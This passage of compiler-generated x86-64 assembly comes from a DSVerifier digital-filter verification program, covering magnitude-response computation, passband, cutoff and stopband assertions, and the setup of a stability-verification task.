and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1671:
cmp rsp, rdx
je .L1672
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1671
.L1672:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1673
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1673:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR -196[rbp]
add eax, 1
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -288[rbp], rdx
mov QWORD PTR -280[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1674:
cmp rsp, rdx
je .L1675
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1674
.L1675:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1676
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1676:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
pxor xmm0, xmm0
movsd QWORD PTR -128[rbp], xmm0
mov DWORD PTR -152[rbp], 0
jmp .L1677
.L1682:
mov rax, QWORD PTR -168[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
mov DWORD PTR -148[rbp], 1
jmp .L1678
.L1679:
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
movsd QWORD PTR -64[rbp], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call cosTyl
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
movsd QWORD PTR -224[rbp], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call sinTyl
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -224[rbp]
subsd xmm1, xmm0
mov eax, DWORD PTR -148[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -168[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call sinTyl
movq rax, xmm0
movq xmm3, rax
mulsd xmm3, QWORD PTR -64[rbp]
movsd QWORD PTR -224[rbp], xmm3
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call cosTyl
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
addsd xmm0, QWORD PTR -224[rbp]
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -148[rbp], 1
.L1678:
mov eax, DWORD PTR -148[rbp]
cmp eax, DWORD PTR -172[rbp]
jl .L1679
mov rax, QWORD PTR -184[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
mov DWORD PTR -148[rbp], 1
jmp .L1680
.L1681:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
movsd QWORD PTR -64[rbp], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call cosTyl
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
movsd QWORD PTR -224[rbp], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call sinTyl
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -224[rbp]
subsd xmm1, xmm0
mov eax, DWORD PTR -148[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -184[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call sinTyl
movq rax, xmm0
movq xmm4, rax
mulsd xmm4, QWORD PTR -64[rbp]
movsd QWORD PTR -224[rbp], xmm4
mov rax, QWORD PTR -128[rbp]
mov edi, 6
movq xmm0, rax
call cosTyl
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
addsd xmm0, QWORD PTR -224[rbp]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -148[rbp], 1
.L1680:
mov eax, DWORD PTR -148[rbp]
cmp eax, DWORD PTR -176[rbp]
jl .L1681
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -144[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mulsd xmm1, xmm0
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm2, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm2
addsd xmm0, xmm1
pxor xmm5, xmm5
cvtsd2ss xmm5, xmm0
movd eax, xmm5
movd xmm0, eax
call sqrt3
mov eax, DWORD PTR -152[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -192[rbp]
add rax, rdx
cvtss2sd xmm0, xmm0
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mulsd xmm1, xmm0
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm2, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -152[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm2
addsd xmm0, xmm1
pxor xmm6, xmm6
cvtsd2ss xmm6, xmm0
movd eax, xmm6
movd xmm0, eax
call sqrt3
cvtss2sd xmm0, xmm0
movsd QWORD PTR -72[rbp], xmm0
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -72[rbp]
setp al
mov edx, 1
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -72[rbp]
cmovne eax, edx
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -152[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -192[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -192[rbp]
add rax, rdx
divsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR [rax], xmm0
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -196[rbp]
movsd xmm0, QWORD PTR .LC93[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -128[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -128[rbp], xmm0
add DWORD PTR -152[rbp], 1
.L1677:
movsd xmm0, QWORD PTR .LC93[rip]
comisd xmm0, QWORD PTR -128[rbp]
jnb .L1682
mov rsp, rbx
nop
mov rax, QWORD PTR -56[rbp]
sub rax, QWORD PTR fs:40
je .L1683
call __stack_chk_fail@PLT
.L1683:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE151:
.size resp_mag, .-resp_mag
.section .rodata
.align 8
.LC94:
.string "|----------------Passband Failure-------------|"
.align 8
.LC95:
.string "|-------------Cutoff Frequency Failure--------|"
.align 8
.LC96:
.string "|----------------Stopband Failure-------------|"
.text
.globl verify_magnitude
.type verify_magnitude, @function
verify_magnitude:
.LFB152:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r12
push rbx
sub rsp, 192
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 12, -40
.cfi_offset 3, -48
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov r12, rax
mov DWORD PTR -144[rbp], 100
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -144[rbp]
movsd xmm0, QWORD PTR .LC7[rip]
divsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -144[rbp]
lea edx, 1[rax]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1685:
cmp rsp, rcx
je .L1686
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1685
.L1686:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1687
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1687:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -128[rbp], rax
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov r8, rax
mov r9d, 0
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1688:
cmp rsp, rcx
je .L1689
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1688
.L1689:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1690
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1690:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -96[rbp]
mov edx, eax
mov rsi, rcx
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -88[rbp], rax
movsx rax, edx
mov QWORD PTR -160[rbp], rax
mov QWORD PTR -152[rbp], 0
movsx rax, edx
mov QWORD PTR -176[rbp], rax
mov QWORD PTR -168[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1691:
cmp rsp, rdx
je .L1692
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1691
.L1692:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1693
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1693:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -96[rbp]
mov rax, QWORD PTR -80[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -192[rbp], rdx
mov QWORD PTR -184[rbp], 0
movsx rdx, eax
mov QWORD PTR -208[rbp], rdx
mov QWORD PTR -200[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1694:
cmp rsp, rdx
je .L1695
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1694
.L1695:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1696
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1696:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -64[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -56[rbp], rdx
movsx rdx, eax
mov QWORD PTR -224[rbp], rdx
mov QWORD PTR -216[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1697:
cmp rsp, rdx
je .L1698
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1697
.L1698:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1699
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1699:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -48[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
mov rcx, QWORD PTR -64[rbp]
mov rax, QWORD PTR -48[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov edx, DWORD PTR ds[rip+800]
mov eax, DWORD PTR ds[rip+1608]
mov esi, DWORD PTR -144[rbp]
mov rcx, QWORD PTR -128[rbp]
mov r9d, esi
mov r8, rcx
mov ecx, edx
lea rdx, ds[rip]
mov esi, eax
lea rdi, ds[rip+808]
call resp_mag
mov eax, DWORD PTR filter[rip+24]
cmp eax, 1
jne .L1700
mov DWORD PTR -140[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
jmp .L1701
.L1709:
movss xmm0, DWORD PTR filter[rip+12]
cvtss2sd xmm0, xmm0
comisd xmm0, QWORD PTR -104[rbp]
jb .L1731
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
movss xmm1, DWORD PTR filter[rip]
cvtss2sd xmm1, xmm1
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC94[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
jmp .L1704
.L1731:
movss xmm0, DWORD PTR filter[rip+16]
cvtss2sd xmm0, xmm0
ucomisd xmm0, QWORD PTR -104[rbp]
jp .L1705
ucomisd xmm0, QWORD PTR -104[rbp]
jne .L1705
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
movss xmm0, DWORD PTR filter[rip+8]
cvtss2sd xmm0, xmm0
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC95[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
jmp .L1704
.L1705:
movss xmm0, DWORD PTR filter[rip+20]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
comisd xmm0, xmm1
jb .L1704
movsd xmm0, QWORD PTR .LC7[rip]
comisd xmm0, QWORD PTR -104[rbp]
jb .L1704
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
movss xmm0, DWORD PTR filter[rip+4]
cvtss2sd xmm0, xmm0
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC96[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
.L1704:
add DWORD PTR -140[rbp], 1
movsd xmm0, QWORD PTR -104[rbp]
addsd xmm0, QWORD PTR -112[rbp]
movsd QWORD PTR -104[rbp], xmm0
.L1701:
movsd xmm0, QWORD PTR .LC7[rip]
comisd xmm0, QWORD PTR -104[rbp]
jnb .L1709
jmp .L1710
.L1700:
mov eax, DWORD PTR filter[rip+24]
cmp eax, 2
jne .L1711
mov DWORD PTR -140[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
jmp .L1712
.L1720:
movss xmm0, DWORD PTR filter[rip+20]
cvtss2sd xmm0, xmm0
comisd xmm0, QWORD PTR -104[rbp]
jb .L1732
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
movss xmm0, DWORD PTR filter[rip+4]
cvtss2sd xmm0, xmm0
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC96[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
jmp .L1715
.L1732:
movss xmm0, DWORD PTR filter[rip+16]
cvtss2sd xmm0, xmm0
ucomisd xmm0, QWORD PTR -104[rbp]
jp .L1716
ucomisd xmm0, QWORD PTR -104[rbp]
jne .L1716
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
movss xmm0, DWORD PTR filter[rip+8]
cvtss2sd xmm0, xmm0
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC95[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
jmp .L1715
.L1716:
movss xmm0, DWORD PTR filter[rip+12]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
comisd xmm0, xmm1
jbe .L1715
movsd xmm0, QWORD PTR .LC7[rip]
comisd xmm0, QWORD PTR -104[rbp]
jb .L1715
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
movss xmm1, DWORD PTR filter[rip]
cvtss2sd xmm1, xmm1
comisd xmm0, xmm1
setnb al
movzx eax, al
lea rsi, .LC94[rip]
mov edi, eax
call __DSVERIFIER_assert_msg
.L1715:
add DWORD PTR -140[rbp], 1
movsd xmm0, QWORD PTR -104[rbp]
addsd xmm0, QWORD PTR -112[rbp]
movsd QWORD PTR -104[rbp], xmm0
.L1712:
movsd xmm0, QWORD PTR .LC7[rip]
comisd xmm0, QWORD PTR -104[rbp]
jnb .L1720
jmp .L1710
.L1711:
mov edi, 0
call __DSVERIFIER_assert
.L1710:
mov eax, 0
mov rsp, r12
mov rbx, QWORD PTR -40[rbp]
sub rbx, QWORD PTR fs:40
je .L1722
call __stack_chk_fail@PLT
.L1722:
lea rsp, -32[rbp]
pop rbx
pop r12
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE152:
.size verify_magnitude, .-verify_magnitude
.globl plant_cbmc
.bss
.align 32
.type plant_cbmc, @object
.size plant_cbmc, 3224
plant_cbmc:
.zero 3224
.text
.globl main
.type main, @function
main:
.LFB153:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
call initialization
mov eax, 0
call validation
mov DWORD PTR rounding_mode[rip], 1
lea rdi, verify_stability[rip]
call call_verification_task
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE153:
.size main, .-main
.section .rodata
.align 8
.LC97:
.string "\n\n****************************************************************************"
.align 8
.LC98:
.string "* set (ds and impl) parameters to check with DSVerifier *"
.align 8
.LC99:
.string "****************************************************************************"
.text
.globl validation
.type validation, @function
validation:
.LFB154:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR ds[rip+800]
test eax, eax
je .L1736
mov eax, DWORD PTR ds[rip+1608]
test eax, eax
jne .L1735
.L1736:
lea rdi, .LC97[rip]
call puts@PLT
lea rdi, .LC98[rip]
call puts@PLT
lea rdi, .LC99[rip]
call puts@PLT
mov edi, 0
call __DSVERIFIER_assert
.L1735:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE154:
.size validation, .-validation
.globl call_verification_task
.type call_verification_task, @function
call_verification_task:
.LFB155:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -72[rbp], rdi
mov DWORD PTR -52[rbp], 0
mov BYTE PTR -57[rbp], 0
mov DWORD PTR -56[rbp], 0
mov DWORD PTR -56[rbp], 0
jmp .L1739
.L1753:
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 302
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
jbe .L1740
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm1, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 302
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC100[rip]
divsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -24[rbp]
jbe .L1781
movsd xmm0, QWORD PTR -24[rbp]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm0, xmm1
jmp .L1744
.L1781:
movsd xmm0, QWORD PTR -24[rbp]
.L1744:
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
subsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -16[rbp], xmm0
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jp .L1745
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jne .L1745
cmp BYTE PTR -57[rbp], 0
jne .L1783
.L1745:
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jp .L1747
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jne .L1747
movzx eax, BYTE PTR -57[rbp]
xor eax, 1
test al, al
je .L1747
mov BYTE PTR -57[rbp], 1
.L1747:
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov edx, DWORD PTR -56[rbp]
movsx rdx, edx
add rdx, 100
lea rcx, 0[0+rdx*8]
lea rdx, ds[rip+8]
mov QWORD PTR [rcx+rdx], rax
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
comisd xmm0, QWORD PTR -16[rbp]
jb .L1749
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm1, QWORD PTR [rdx+rax]
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, xmm1
jb .L1749
mov eax, 1
jmp .L1752
.L1749:
mov eax, 0
.L1752:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
jmp .L1740
.L1783:
nop
.L1740:
add DWORD PTR -56[rbp], 1
.L1739:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -56[rbp], eax
jl .L1753
mov DWORD PTR -56[rbp], 0
jmp .L1754
.L1768:
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 202
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
jbe .L1755
mov eax, DWORD PTR -56[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, ds[rip]
movsd xmm1, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -56[rbp]
cdqe
add rax, 202
lea rdx, 0[0+rax*8]
lea rax, ds[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC100[rip]
divsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -48[rbp]
jbe .L1782
movsd xmm0, QWORD PTR -48[rbp]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm0, xmm1
jmp .L1759
.L1782:
movsd xmm0, QWORD PTR -48[rbp]
.L1759:
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -56[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, ds[rip]
movsd xmm0, QWORD PTR [rdx+rax]
subsd xmm0, QWORD PTR -48[rbp]
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -56[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, ds[rip]
movsd xmm0, QWORD PTR [rdx+rax]
movsd xmm1, QWORD PTR -48[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jp .L1760
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jne .L1760
cmp BYTE PTR -57[rbp], 0
jne .L1784
.L1760:
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jp .L1762
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jne .L1762
movzx eax, BYTE PTR -57[rbp]
xor eax, 1
test al, al
je .L1762
mov BYTE PTR -57[rbp], 1
.L1762:
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov edx, DWORD PTR -56[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
lea rdx, ds[rip]
mov QWORD PTR [rcx+rdx], rax
mov eax, DWORD PTR -56[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, ds[rip]
movsd xmm0, QWORD PTR [rdx+rax]
comisd xmm0, QWORD PTR -40[rbp]
jb .L1764
mov eax, DWORD PTR -56[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, ds[rip]
movsd xmm1, QWORD PTR [rdx+rax]
movsd xmm0, QWORD PTR -32[rbp]
comisd xmm0, xmm1
jb .L1764
mov eax, 1
jmp .L1767
.L1764:
mov eax, 0
.L1767:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
jmp .L1755
.L1784:
nop
.L1755:
